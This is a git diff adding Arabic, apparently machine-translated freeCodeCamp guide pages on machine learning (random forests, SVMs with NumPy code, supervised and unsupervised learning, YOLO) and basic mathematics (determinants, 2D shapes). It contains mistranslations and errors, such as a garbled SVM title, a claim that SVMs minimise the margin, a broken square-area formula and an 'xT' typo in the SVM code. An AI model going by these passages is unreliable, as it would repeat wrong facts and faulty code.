+++ b/client/src/guide/arabic/machine-learning/random-forest/index.md
@@ -0,0 +1,58 @@
+---
+title: Random Forest
+localeTitle: غابة عشوائية
+---
+## غابة عشوائية
+
+غابة عشوائية هي مجموعة من أشجار القرار التي تتخذ قرارات أفضل ككل من كل على حدة.
+
+### مشكلة
+
+أشجار القرار في حد ذاتها عرضة **للتركيب** . هذا يعني أن الشجرة أصبحت معتادة على بيانات التدريب لدرجة أنها تجد صعوبة في اتخاذ القرارات بشأن البيانات التي لم ترها من قبل.
+
+### الحل مع الغابات العشوائية
+
+تنتمي الغابات العشوائية في فئة خوارزميات **تعلم المجموعة** . تستخدم هذه الفئة من الخوارزميات العديد من المقدرات لتحقيق نتائج أفضل. وهذا يجعل Random Forest عادة **أكثر دقة** من أشجار القرار العادي. في الغابات العشوائية ، يتم إنشاء مجموعة من أشجار القرار. يتم **تدريب** كل شجرة **على مجموعة فرعية عشوائية من البيانات ومجموعة فرعية عشوائية من ميزات تلك البيانات** . وبهذه الطريقة ، يتم تقليل إمكانية استخدام المقدرين في استخدام البيانات (التجهيز) بشكل كبير ، لأن **كل واحد منهم يعمل على البيانات والميزات المختلفة** عن الآخرين. هذه الطريقة في إنشاء مجموعة من المقدرات وتدريبهم على مجموعات فرعية عشوائية من البيانات هي تقنية في _تعلم مجموعة_ تسمى **التعبئة** أو _Bootstrap AGGregatING_ . للحصول على التنبؤ ، يصوت كل من أشجار القرار على التنبؤ الصحيح (التصنيف) أو يحصلون على متوسط ​​نتائجهم (الانحدار).
+
+### مثال على تعزيز في بيثون
+
+في هذه المسابقة ، يتم منحنا قائمة بأحداث التصادم وخصائصها. سوف نتوقع بعد ذلك ما إذا كان هناك إنحلال τ → 3μ حدث في هذا التصادم. هذا τ → 3μ يفترض في الوقت الحاضر من قبل العلماء ألا يحدث ، وكان الهدف من هذه المسابقة هو اكتشاف τ → 3μ يحدث بشكل متكرر أكثر مما يستطيع العلماء فهمه. كان التحدي هنا هو تصميم مشكلة تعلم آلي لشيء لم يلاحظه أحد من قبل. طور العلماء في CERN التصاميم التالية لتحقيق الهدف. https://www.kaggle.com/c/flavours-of-physics/data
+
+ `#Data Cleaning 
+ import pandas as pd 
+ data_test = pd.read_csv("test.csv") 
+ data_train = pd.read_csv("training.csv") 
+ data_train = data_train.drop('min_ANNmuon',1) 
+ data_train = data_train.drop('production',1) 
+ data_train = data_train.drop('mass',1) 
+ 
+ #Cleaned data 
+ Y = data_train['signal'] 
+ X = data_train.drop('signal',1) 
+ 
+ #adaboost 
+ from sklearn.ensemble import AdaBoostClassifier 
+ from sklearn.tree import DecisionTreeClassifier 
+ seed = 9001 #this ones over 9000!!! 
+ boosted_tree = AdaBoostClassifier(DecisionTreeClassifier(max_depth=1), algorithm="SAMME", 
+                                  n_estimators=50, random_state = seed) 
+ model = boosted_tree.fit(X, Y) 
+ 
+ predictions = model.predict(data_test) 
+ print(predictions) 
+ #Note we can't really validate this data since we don't have an array of "right answers" 
+ 
+ #stochastic gradient boosting 
+ from sklearn.ensemble import GradientBoostingClassifier 
+ gradient_boosted_tree = GradientBoostingClassifier(n_estimators=50, random_state=seed) 
+ model2 = gradient_boosted_tree.fit(X,Y) 
+ 
+ predictions2 = model2.predict(data_test) 
+ print(predictions2) 
+` 
+
+#### معلومات اكثر:
+
+*   [الغابات العشوائية (ويكيبيديا)](https://www.wikiwand.com/en/Random_forest)
+*   [مقدمة للغابات العشوائية - المبسطة](https://www.analyticsvidhya.com/blog/2014/06/introduction-random-forest-simplified/)
+*   [كيف تعمل خوارزمية غابة عشوائية (فيديو)](https://www.youtube.com/watch?v=loNcrMjYh64)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/reinforcement-learning/index.md b/client/src/guide/arabic/machine-learning/reinforcement-learning/index.md
new file mode 100644
index 0000000000..c8113e42fe
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/reinforcement-learning/index.md
@@ -0,0 +1,23 @@
+---
+title: Reinforcement Learning
+localeTitle: تعزيز التعلم
+---
+#### واقترح ريدينج:
+
+*   http://incompleteideas.net/sutton/book/the-book-2nd.html
+
+#### تعزيز التعلم
+
+يشير التعلم التعزيزي إلى مجال التعلم الآلي الذي ينطبق على الوكلاء الذين تعززهم من خلال منحهم مكافأة وعقاب. فهو يمنح تعليمًا تدريجيًا رائعًا ويمكنه تبسيط تعلم العامل في المهام التي لا يمكنك فيها تحديد قيمة خطأ مناسبة.
+
+مثال: يتم إعطاء برنامج bot مهمة للعب Space Invaders ، فإنه يحاول تعلم اللعب من خلال التفاعل مع اللعبة وفي مقابل الحصول على مكافأة للنقاط التي سجلها في نهاية اللعبة. أكبر مكافأة ، أكبر هي فرصه في القيام بطريقة مماثلة. بهذه الطريقة ، يتعلم كيفية لعب اللعبة وأداء بأفضل طريقة ممكنة.
+
+في الصناعات ، يستخدم الروبوت تقنية التعزيز العميق لاختيار جهاز من صندوق واحد ووضعه في حاوية. سواء نجحت أو فشلت ، فهي تحافظ على الهدف وتكتسب المعرفة وتدرّب نفسها للقيام بهذه المهمة بسرعة كبيرة ودقة. التعلم بمفرده هو نوع من التعلم التعزيزي شريطة أن يكون التعلم في بعد إيجابي.
+
+## قائمة الخوارزميات المشتركة
+
+Q-التعلم الفرق الزمني (TD) شبكات أدفانسيد عميقة
+
+## استخدم حالات:
+
+بعض تطبيقات خوارزميات التعلم التعزيزية هي ألعاب لوحية لعبها الكمبيوتر (Chess، Go) ، وأيدي آلية ، وسيارات ذاتية القيادة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/stochastic-process/index.md b/client/src/guide/arabic/machine-learning/stochastic-process/index.md
new file mode 100644
index 0000000000..f4178c2f16
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/stochastic-process/index.md
@@ -0,0 +1,13 @@
+---
+title: Stochastic Process
+localeTitle: عملية العشوائية
+---
+## عملية العشوائية
+
+عملية العشوائية هي في الأساس عملية غير حتمية. لاحظ أنه قد يكون هناك توزيع احتمالي وقد لا يكون عشوائيًا تمامًا. على سبيل المثال ، العملية التي يتم فيها عكس عملة _غير_ منحازة من جانبين مرارًا وتكرارًا. أو على سبيل المثال ، قد يتخذ اتجاه قطرة ماء على سطح عادي تقريبا (قد تنشأ عدم الحتمية هنا بسبب خشونة عفوية مما يجعل من الصعب تحديد مسار القطيرة).
+
+تُستخدم العمليات العشوائية على نطاق واسع كنماذج رياضية للنظم والظواهر التي يبدو أنها تختلف بطريقة عشوائية. لديهم تطبيقات في العديد من التخصصات بما في ذلك العلوم الطبيعية مثل علم الأحياء والكيمياء والفيزياء وكذلك مجالات التكنولوجيا والهندسة مثل معالجة الصور ومعالجة الإشارات ونظرية المعلومات وعلوم الكمبيوتر والتشفير والاتصالات السلكية واللاسلكية. علاوة على ذلك ، فإن التغيرات العشوائية في الأسواق المالية قد حفزت الاستخدام المكثف للعمليات العشوائية في التمويل.
+
+### معلومات اكثر:
+
+*   [عملية العشوائية](https://en.wikipedia.org/wiki/Stochastic_process)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/supervised-learning/index.md b/client/src/guide/arabic/machine-learning/supervised-learning/index.md
new file mode 100644
index 0000000000..682fe4f407
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/supervised-learning/index.md
@@ -0,0 +1,39 @@
+---
+title: Supervised Learning
+localeTitle: التعلم تحت الإشراف
+---
+## التعلم تحت الإشراف
+
+في التعلم تحت الإشراف ، نعرف ما يجب أن يكون الإخراج الصحيح. يمكن تصنيف مشاكل التعلم تحت الإشراف إلى الانحدار والتصنيف. مشكلة الانحدار هي حيث تقوم بتعيين الإدخال إلى إخراج مستمر. مشكلة التباين ، على النقيض من ذلك ، هي المكان الذي تقوم فيه بتعيين المدخلات (المجموعة) إلى فئات منفصلة.
+
+### انحسار
+
+بالنظر إلى البيانات المتعلقة بالسيارات المستعملة مثل الأميال الخاصة بهم ، يمكنك التنبؤ بأسعار السوق. نظرًا لأن السعر هو متغير مستمر ، فهذه مشكلة انحدار. في مثال آخر ، أصدرت Microsoft تطبيق ويب يتنبأ بالعمر بناءً على الصورة. مرة أخرى ، كلما كان العمر مستمرًا بدلاً من كونه منفصلًا أو قاطعًا ، فهذه أيضًا مشكلة الانحدار.
+
+### تصنيف
+
+يمكن تحويل مشاكل الانحدار أعلاه إلى مشاكل التصنيف. لنفترض أنك تريد البحث عن سيارة مستعملة أقل من X دولار. ثم سيكون الناتج إذا كانت السيارة المستعملة تناسب السعر الذي قمت بتعيينه. وبالمثل ، يمكن أن يكون التنبؤ بالعمر مشكلة تصنيف إذا كنا نتطلع إلى التنبؤ بما إذا كانت الصورة المقدمة تخص شخصًا يقل عمره عن 18 عامًا ، وبالتالي لا ينبغي السماح له بشراء السجائر.
+
+### نقاط النقاش:
+
+*   ما هو خاص حول التعلم تحت الإشراف؟
+*   في أي سيناريو تستخدمه؟
+*   تحذيرات أو الفخاخ للتفكير؟
+*   ما هي بعض النماذج سبيل المثال؟
+
+#### مثال 1:
+
+> بالنظر إلى البيانات المتعلقة بحجم المنازل في سوق العقارات ، حاول التنبؤ بأسعارها.
+
+السعر كدالة للحجم هو ناتج مستمر ، لذلك هذه مشكلة انحدار.
+
+#### المثال 2:
+
+(أ) الانحدار - بالنسبة لقيم الاستجابة المستمرة. على سبيل المثال ، إذا أعطينا صورة لشخص ما ، فعلينا أن نتنبأ بعمرهم على أساس الصورة المعطاة
+
+(ب) التصنيف - لقيم الاستجابة الفئوية ، حيث يمكن فصل البيانات إلى "فئات" محددة. على سبيل المثال ، عندما يُعطى مريض مصاب بورم ، علينا أن نتوقع ما إذا كان الورم خبيثًا أم حميدًا.
+
+#### واقترح ريدينج:
+
+*   https://en.wikipedia.org/wiki/Supervised\_learning
+*   https://stackoverflow.com/a/1854449/6873133
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/support-vector-machine/index.md b/client/src/guide/arabic/machine-learning/support-vector-machine/index.md
new file mode 100644
index 0000000000..6caf2b9b7c
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/support-vector-machine/index.md
@@ -0,0 +1,167 @@
+---
+title: Support Vector Machine
+localeTitle: دعم شاحنات النقل
+---
+## دعم شاحنات النقل
+
+آلة المتجهات الداعمة (SVM) هي عبارة عن مصنف تمييزي تم تعريفه بشكلٍ رسمي بواسطة جهاز الفصل الفائق. وبعبارة أخرى ، عند إعطاء بيانات التدريب المسمى (التعلم تحت الإشراف) ، تخرج الخوارزمية فرطًا واضحًا مثاليًا يصنف الأمثلة الجديدة. يقوم بذلك عن طريق تقليل الهامش بين نقاط البيانات بالقرب من الطائرة الفائقة.
+
+![SVM مقابل الانحدار اللوجستي](https://i.imgur.com/KUeOSK3.png)
+
+تسعى دالة تكلفة SVM لتقريب الدالة اللوجيستية مع خطي طولي. يتم استخدام خوارزمية ML لمشكلات التصنيف وهي جزء من مجموعة فرعية من خوارزميات التعلم تحت الإشراف.
+
+### دالة التكلفة
+
+![وظيفة التكلفة SVM](https://i.imgur.com/SOhv2jZ.png)
+
+يتم استخدام وظيفة التكلفة لتدريب SVM. من خلال تقليل قيمة J (theta) ، يمكننا التأكد من أن SVM دقيق قدر الإمكان. في المعادلة ، تشير تكلفة الدالات 1 والتكلفة 0 إلى تكلفة مثال حيث y = 1 والتكلفة لمثال حيث y = 0. يتم تحديد تكلفة SVMs بواسطة وظائف kernel (التشابه).
+
+### الألباب
+
+من المحتمل أن تكون ميزات متعددة الحدود مكلفة من الناحية الحسابية وقد تؤدي إلى إبطاء وقت التشغيل باستخدام مجموعات بيانات كبيرة. فبدلاً من إضافة المزيد من الميزات متعددة الحدود ، أضف "المعالم" التي تختبر من خلالها القرب من نقاط البيانات الأخرى. كل عضو في مجموعة التدريب هو علامة بارزة. النواة هي "وظيفة التشابه" التي تقيس مدى اقتران الإدخال بعلامة معينة.
+
+### تصنيف الهامش الكبير
+
+سيجد SVM الخط (أو hyperplane في الحالة العامة) التي تقوم بتقسيم البيانات ذات الهامش الأكبر. في حين أن القيم المتطرفة قد تؤثر على الخط في اتجاه واحد ، فإن قيمة C صغيرة بما فيه الكفاية ستفرض التسوية. يعمل هذا التسوية الجديد نفسه مع 1 / \\ lambda ، كما رأينا في الانحدار الخطي واللوجستي ، ولكن هنا نقوم بتعديل مكون التكلفة.
+
+#### معلومات اكثر:
+
+[أندرو نغ ML ML](https://www.coursera.org/learn/machine-learning/) [محاضرة فيديو مستقلة](https://www.youtube.com/watch?v=1NxnPkZM9bc) [SVM على ويكيبيديا](https://en.wikipedia.org/wiki/Support_vector_machine)
+
+فيما يلي التعليمات البرمجية المكتوبة للتدريب والتنبؤ وإيجاد الدقة لـ SVM في python. يتم ذلك باستخدام Numpy ، ومع ذلك ، يمكننا أيضًا الكتابة باستخدام scikit-learn في استدعاء دالة.
+
+ `import numpy as np 
+ 
+ 
+ class Svm (object): 
+    """" Svm classifier """ 
+ 
+    def __init__ (self, inputDim, outputDim): 
+        self.W = None 
+ 
+        # - Generate a random svm weight matrix to compute loss                 # 
+        #   with standard normal distribution and Standard deviation = 0.01.    # 
+ 
+        sigma =0.01 
+        self.W = sigma * np.random.randn(inputDim,outputDim) 
+ 
+ 
+ 
+    def calLoss (self, x, y, reg): 
+        """ 
+        Svm loss function 
+        D: Input dimension. 
+        C: Number of Classes. 
+        N: Number of example. 
+        Inputs: 
+        - x: A numpy array of shape (batchSize, D). 
+        - y: A numpy array of shape (N,) where value < C. 
+        - reg: (float) regularization strength. 
+        Returns a tuple of: 
+        - loss as single float. 
+        - gradient with respect to weights self.W (dW) with the same shape of self.W. 
+        """ 
+        loss = 0.0 
+        dW = np.zeros_like(self.W) 
+ 
+        # - Compute the svm loss and store to loss variable.                        # 
+        # - Compute gradient and store to dW variable.                              # 
+        # - Use L2 regularization                                                  # 
+ 
+        #Calculating score matrix 
+        s = x.dot(self.W) 
+        #Score with yi 
+        s_yi = s[np.arange(x.shape[0]),y] 
+        #finding the delta 
+        delta = s- s_yi[:,np.newaxis]+1 
+        #loss for samples 
+        loss_i = np.maximum(0,delta) 
+        loss_i[np.arange(x.shape[0]),y]=0 
+        loss = np.sum(loss_i)/x.shape[0] 
+        #Loss with regularization 
+        loss += reg*np.sum(self.W*self.W) 
+        #Calculating ds 
+        ds = np.zeros_like(delta) 
+        ds[delta > 0] = 1 
+        ds[np.arange(x.shape[0]),y] = 0 
+        ds[np.arange(x.shape[0]),y] = -np.sum(ds, axis=1) 
+ 
+        dW = (1/x.shape[0]) * (xT).dot(ds) 
+        dW = dW + (2* reg* self.W) 
+ 
+ 
+        return loss, dW 
+ 
+    def train (self, x, y, lr=1e-3, reg=1e-5, iter=100, batchSize=200, verbose=False): 
+        """ 
+        Train this Svm classifier using stochastic gradient descent. 
+        D: Input dimension. 
+        C: Number of Classes. 
+        N: Number of example. 
+        Inputs: 
+        - x: training data of shape (N, D) 
+        - y: output data of shape (N, ) where value < C 
+        - lr: (float) learning rate for optimization. 
+        - reg: (float) regularization strength. 
+        - iter: (integer) total number of iterations. 
+        - batchSize: (integer) number of example in each batch running. 
+        - verbose: (boolean) Print log of loss and training accuracy. 
+        Outputs: 
+        A list containing the value of the loss at each training iteration. 
+        """ 
+ 
+        # Run stochastic gradient descent to optimize W. 
+        lossHistory = [] 
+        for i in range(iter): 
+            xBatch = None 
+            yBatch = None 
+ 
+            # - Sample batchSize from training data and save to xBatch and yBatch   # 
+            # - After sampling xBatch should have shape (batchSize, D)              # 
+            #                  yBatch (batchSize, )                                 # 
+            # - Use that sample for gradient decent optimization.                   # 
+            # - Update the weights using the gradient and the learning rate.        # 
+ 
+            #creating batch 
+            num_train = np.random.choice(x.shape[0], batchSize) 
+            xBatch = x[num_train] 
+            yBatch = y[num_train] 
+            loss, dW = self.calLoss(xBatch,yBatch,reg) 
+            self.W= self.W - lr * dW 
+            lossHistory.append(loss) 
+ 
+            # Print loss for every 100 iterations 
+            if verbose and i % 100 == 0 and len(lossHistory) is not 0: 
+                print ('Loop {0} loss {1}'.format(i, lossHistory[i])) 
+ 
+        return lossHistory 
+ 
+    def predict (self, x,): 
+        """ 
+        Predict the y output. 
+        Inputs: 
+        - x: training data of shape (N, D) 
+        Returns: 
+        - yPred: output data of shape (N, ) where value < C 
+        """ 
+        yPred = np.zeros(x.shape[0]) 
+ 
+        # -  Store the predict output in yPred                                    # 
+ 
+        s = x.dot(self.W) 
+        yPred = np.argmax(s, axis=1) 
+        return yPred 
+ 
+ 
+    def calAccuracy (self, x, y): 
+        acc = 0 
+ 
+        # -  Calculate accuracy of the predict value and store to acc variable 
+        yPred = self.predict(x) 
+        acc = np.mean(y == yPred)*100 
+        return acc 
+` 
+
+#### معلومات اكثر:
+
+[Scikit-learn SVM](http://scikit-learn.org/stable/modules/svm.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/tensorflow-for-machine-learning/index.md b/client/src/guide/arabic/machine-learning/tensorflow-for-machine-learning/index.md
new file mode 100644
index 0000000000..5c6973c36f
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/tensorflow-for-machine-learning/index.md
@@ -0,0 +1,17 @@
+---
+title: Machine Learning using Tensorflow
+localeTitle: تعلم الآلة باستخدام Tensorflow
+---
+#### ما هو TensorFlow؟
+
+"TensorFlow هي مكتبة تعليم آلي مفتوحة المصدر للأبحاث والإنتاج. تقدم TensorFlow واجهات برمجة التطبيقات للمبتدئين والخبراء لتطويرها لسطح المكتب ، والمحمول ، والويب ، والسحابة."
+
+يتيح Tensorflow للمستخدمين إنشاء رسومات تدفق البيانات. هذه هي الهياكل التي تصف كيف تتحرك البيانات من خلال الرسم البياني. ترتبط هذه العقد ببعضها البعض ، مع العقد التي تمثل العمليات الرياضية والاتصالات التي تمثل المصفوفات متعددة الأبعاد أو tensors.
+
+يسمح Tensorflow للمطورين بالتركيز أكثر على منطق التطبيق بدلاً من التعطل في الخوارزميات المعقدة أو اكتشاف الطريقة المثلى لتنفيذ هذه الخوارزميات. أثناء إنشاء الشبكة العميقة ، يمكن أيضًا أن تصبح مملة لتحديد العقدة التي يجب ربطها. يجعل Tensorflow من السهل إجراء اتصالات بين الطبقات. وبالتالي ، يصبح من الأسهل على المطورين التركيز أكثر على جعل التطبيق أفضل.
+
+#### معلومات اكثر:
+
+*   [TensorFlow](https://www.tensorflow.org)
+*   [مستودع TensorFlow GitHub](https://github.com/tensorflow)
+*   [ويكيبيديا TensorFlow](https://en.wikipedia.org/wiki/TensorFlow)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/unsupervised-learning/index.md b/client/src/guide/arabic/machine-learning/unsupervised-learning/index.md
new file mode 100644
index 0000000000..e3e5f5c3ec
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/unsupervised-learning/index.md
@@ -0,0 +1,25 @@
+---
+title: Unsupervised Learning
+localeTitle: تعليم غير مشرف عليه
+---
+#### واقترح ريدينج:
+
+*   https://en.wikipedia.org/wiki/Unsupervised\_learning
+*   https://stackoverflow.com/a/1854449/6873133
+*   http://mlg.eng.cam.ac.uk/zoubin/papers/ul.pdf
+
+#### مشروع المادة:
+
+ما هو التعلم دون اشراف؟
+
+يسمح لنا التعلم بدون إشراف بمقاربة المشاكل مع فكرة ضئيلة أو معدومة حول ما يجب أن تكون عليه نتائجنا. يمكننا استخلاص بنية من البيانات حيث لا نعرف بالضرورة تأثير المتغيرات.
+
+أنواع:
+
+التجميع: يُستخدم لتحليل البيانات الاستكشافية للعثور على أنماط مخفية أو تجميع في البيانات. خذ مجموعة من المئات من الجينات المختلفة ، وابحث عن طريقة لتجميع هذه الجينات تلقائياً في مجموعات متشابهة إلى حد ما أو مرتبطة بمتغيرات مختلفة ، مثل العمر الافتراضي والموقع والأدوار وما إلى ذلك.
+
+تشمل مناهج التعلم غير الخاضع للرقابة ما يلي:
+
+تجمع. ك-وسيلة. نماذج الخليط. التجميع الهرمي ، والكشف عن الشذوذ. الشبكات العصبية. تعلم Hebbian. شبكات أدعية تكرارية للتعبير عن نماذج متغيرة كامنة مثل. خوارزمية التوقع - التعظيم (EM) أسلوب اللحظات
+
+بعض أكثر الأمثلة: لنفترض أن لديك بيانات لموقع تجارة إلكترونية. لديك قائمة بالأشخاص والأشياء التي طلبوها عبر الإنترنت في الأسبوع الماضي. يمكنك الآن استخدام خوارزميات التجميع والعثور على النمط في البيانات والتنبؤ باتجاهات الشراء وصياغة استراتيجية العمل وفقًا للاتجاه.
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/yolo-for-object-detection/index.md b/client/src/guide/arabic/machine-learning/yolo-for-object-detection/index.md
new file mode 100644
index 0000000000..780df72563
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/yolo-for-object-detection/index.md
@@ -0,0 +1,13 @@
+---
+title: YOLO
+localeTitle: YOLO
+---
+## YOLO - أنت تنظر فقط مرة واحدة طريقة للكشف عن وجوه في الوقت الحقيقي
+
+YOLO هو إطار تصنيف و كشف مشترك قادر على القيام بالتنبؤات في الوقت الحقيقي ، وهو على قدم المساواة مع أطر كشف الحالة الفنية.
+
+#### معلومات اكثر:
+
+*   [ورقة](https://arxiv.org/abs/1506.02640) يولو
+*   [موقع](https://pjreddie.com/darknet/yolo/) المؤلف
+*   [فيديو](https://www.youtube.com/watch?v=VOC3huqHrss) تجريبي
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/2-by-2-determinants/index.md b/client/src/guide/arabic/mathematics/2-by-2-determinants/index.md
new file mode 100644
index 0000000000..533014dd47
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/2-by-2-determinants/index.md
@@ -0,0 +1,28 @@
+---
+title: 2 by 2 Determinants
+localeTitle: 2 في 2 المحددات
+---
+## 2 في 2 المحددات
+
+في الجبر الخطي ، يكون المحدد لمصفوفة 2 في 2 عبارة عن كمية مفيدة. في الغالب يتم استخدامه لحساب مساحة رباعية معينة (المضلعات المحدبة فقط) ، وهو أيضًا تمثيل سهل لمضلّعات رباعية الأبعاد (مضلعات محدبة فقط) ليتم تخزينها في أجهزة الكمبيوتر كمصفوفات. يستخدم العلماء والمهندسون وعلماء الرياضيات محددات في العديد من التطبيقات اليومية بما في ذلك معالجة الصور والرسوم.
+
+إن حساب محددات المصفوفة المكونة من مربعين إلى جزئين بسيط ، وهو أساس [صيغة لابلاس](https://en.wikipedia.org/wiki/Laplace_expansion) المستخدمة في حساب المحددات للمصفوفات المربعة الأكبر.
+
+بالنظر إلى المصفوفة A ، يتم إعطاء محدد A (المكتوبة باسم | A |) بالمعادلة التالية:
+
+## خصائص المحددات (2 × 2)
+
+يمكن ربط الصفوف وناقلات مصفوفة 2 في 2 بنقاط على المستوى الديكارتي ، بحيث يشكل كل صف متجه ثنائي الأبعاد. هذه المتجهات اثنين تشكل متوازي الأضلاع ، كما هو موضح في الصورة أدناه. برهان: دع المتجهات تكون M (a، b)، N (c، d) التي تنشأ من الأصل في مستوي ثنائي الأبعاد بزاوية ( _ثيتا_ > 0) بينهما (رأس ناقل واحد يلمس ذيل متجه آخر). لكن هنا لا يهم لأن الخطيئة (theta) = sin (2 (pi) -theta) .ثم النقطة الأخرى هي P (a + c، b + d). إن منطقة متوازي الأضلاع هي المسافة العمودية من واحد point say N (c، d) to the base vector، M (a، b) multiplied by the length of the base vector، | M (a، b) | يتكون متوازي الأضلاع من مثلثين ومن ثم ، المنطقة هي مرتين من المثلث. دع المسافة العمودية تكون h h = | N (c، d) | \* sin ( _theta_ (angle between two vectors)) ب = | M (أ، ب) | Area = h \* b
+
+القيمة المطلقة للعنصر تساوي مساحة متوازي الأضلاع.
+
+![](https://upload.wikimedia.org/wikipedia/commons/thumb/a/ad/Area_parallellogram_as_determinant.svg/1044px-Area_parallellogram_as_determinant.svg.png) [هنا](https://i.stack.imgur.com/gCaz3.png) هو دليل مرئي مثير للاهتمام من هذه الخاصية.
+
+ملاحظة: إذا كان المحدد يساوي صفر ، فلا توجد حلول (تقاطعات) مع النظام (ويعرف أيضاً بالخطوط المتوازية).
+
+#### معلومات اكثر:
+
+*   [محدد من مصفوفة](https://github.com/freeCodeCamp/guides/blob/master/src/pages/mathematics/determinant-of-a-matrix/index.md "محدد من مصفوفة")
+*   [ويكيبيديا: محدد 2x2](https://en.wikipedia.org/wiki/Determinant#2_.C3.97_2_matrices)
+
+![IMG](https://ncalculators.com/images/formulas/2x2-matrix-determinant.jpg)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/2d-shapes-polygons-and-more/index.md b/client/src/guide/arabic/mathematics/2d-shapes-polygons-and-more/index.md
new file mode 100644
index 0000000000..22da8c0496
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/2d-shapes-polygons-and-more/index.md
@@ -0,0 +1,35 @@
+---
+title: 2d Shapes Polygons and More
+localeTitle: 2d الأشكال المضلعات وأكثر من ذلك
+---
+## 2d الأشكال المضلعات وأكثر من ذلك
+
+"2D" تعني ثنائية الأبعاد. شكل 2D هو أي شكل له بعدان. فكر في معنى أن يكون لديك بعدان للحظة. إذا كان لدينا بُعدًا واحدًا فقط للتعامل معه ، يمكننا فقط الانتقال إلى الخلف أو إلى الأمام في سطر. الخط هو أحادي البعد. إذا كان لدينا بُعدان ، من ناحية أخرى ، يمكن أن نذهب للأمام والخلف في خط ونحول أي اتجاه لبدء خط جديد. نحن قادرون أساسا على السفر إلى أي مكان على سطح مستو. في الرياضيات ، يسمى السطح المسطح بالطائرة. الطائرة هي مثال على شكل ثنائي الأبعاد. الطائرة هي في الأساس أكبر ورقة سوف تجدها على الإطلاق. في الواقع ، إنها ورقة كبيرة لدرجة أنها لا تنتهي أبدًا. طريقة واحدة للتفكير في الأشكال ثنائية الأبعاد هي أي شيء يتم تثبيته على قطعة من الورق.
+
+أي شكل n من جانب ، والتي يمكن تتبعها بالكامل وبشكل كامل على متن الطائرة هو شكل ثنائي الأبعاد أو مضلع. هذا يعني أن أي رقم يحتوي على جميع النقاط على مستوى واحد هو شخصية مستوية. بعض الأمثلة هي
+
+### مستطيل
+
+عدد من الجانبين - 4 معلومات خاصة له أربعة جوانب ، مع جوانب متوازية متوازية وجانبية متجاورة لها نفس الطول أو غير متساوٍ (أ وب) جميع الزوايا الداخلية هي 90 درجة مجموع جميع الزوايا الداخلية في 360 درجة الأقطار هي متعامدة بشكل متبادل وشطر واحد آخر
+
+المنطقة - أ \* ب المحيط - 2 (a + b)
+
+### ميدان
+
+عدد من الجانبين - 4 معلومات خاصة يحتوي على أربعة جوانب ، مع أطراف متوازية متوازية وكل جانب من نفس الطول (أ) جميع الزوايا الداخلية هي 90 درجة مجموع جميع الزوايا الداخلية في 360 درجة الأقطار هي متعامدة بشكل متبادل وشطر واحد آخر
+
+المساحة - 1/2 (القاعدة محيط - 4 أ
+
+### مثلث
+
+عدد من الجانبين - 3 معلومات خاصة له ارتفاع وهو المسافة العمودية من قمة الرأس إلى الجانب المقابل (القاعدة) ، يمكن أن يكمن داخل أو خارج المثلث مجموع جميع الزوايا هو 180 درجة
+
+المساحة - 1/2 (الارتفاع الأساسي \*)
+
+### دائرة
+
+عدد الجوانب - لانهائي (مضلع ذو عدد لانهائي من الجوانب عبارة عن دائرة) معلومات خاصة زاوية من خلال المركز في 360 يتم تعريفها دائمًا من نقطة تعرف باسم مركز الدائرة ويطلق على المسافة العمودية من المركز إلى نقطة على المحيط نصف القطر (r) ويطلق على أي خط يمر عبر الدائرة ويلامس المحيط في كلا الطرفين اسم الوتر الحبل الذي يمر في وسط الدائرة هو القطر
+
+المساحة - {pi} \* r \* r محيط - 2 \* {pi} \* r
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/3-by-3-determinants/index.md b/client/src/guide/arabic/mathematics/3-by-3-determinants/index.md
new file mode 100644
index 0000000000..ae08ebd797
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/3-by-3-determinants/index.md
@@ -0,0 +1,65 @@
+---
+title: 3 by 3 Determinants
+localeTitle: 3 من 3 محددات
+---
+## 3 من 3 محددات
+
+خذ بعين الاعتبار المصفوفة التالية ، والتي سنطلق عليها A:
+
+ا
+
+ب
+
+ج
+
+د
+
+البريد
+
+F
+
+ز
+
+ح
+
+أنا
+
+ثم يتم تحديد العوامل الأساسية لهذه المصفوفة ، المشار إليها _(A)_ ، بواسطة:
+
+_det (A) = a \* (e \* i - h \* f) - b \* (d \* i - f \* g) + c \* (d \* h - e \* g)_
+
+يرجى أن تضع في اعتبارك ترتيب العمليات في التعبير أعلاه.
+
+على سبيل المثال ، ضع في اعتبارك المصفوفة التالية ، والتي سنطلق عليها اسم B:
+
+1
+
+2
+
+3
+
+0
+
+\-3
+
+5
+
+\-10
+
+4
+
+7
+
+يعطى _det (B)_ بواسطة الصيغة أعلاه. نطبق الصيغة التالية:
+
+_det (B) = 1 \* ((-3) \* 7 - 5 \* 4) - 2 \* (0 \* 7 - 5 \* (-10)) + 3 \* (0 \* 4 - (-3) \* (-10 ))_ والتي نبسطها على:
+
+_det (B) = 1 \* ((-21) - 20) - 2 \* (0 - (-50)) + 3 \* (0 - (30))_ ، والتي يتم تبسيطها إلى:
+
+_det (B) = (-41) - 100 - 90 = -231_
+
+#### معلومات اكثر:
+
+*   [محدد مصفوفة](https://www.mathsisfun.com/algebra/matrix-determinant.html) على MathIsFun
+*   [3x3 حاسبة محددة](http://www.wolframalpha.com/widgets/view.jsp?id=7fcb0a2c0f0f41d9f4454ac2d8ed7ad6)
+*   [محدد](https://en.wikipedia.org/wiki/Determinant) على ويكيبيديا
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/absolute-value/index.md b/client/src/guide/arabic/mathematics/absolute-value/index.md
new file mode 100644
index 0000000000..47578cd7e8
--- /dev/null
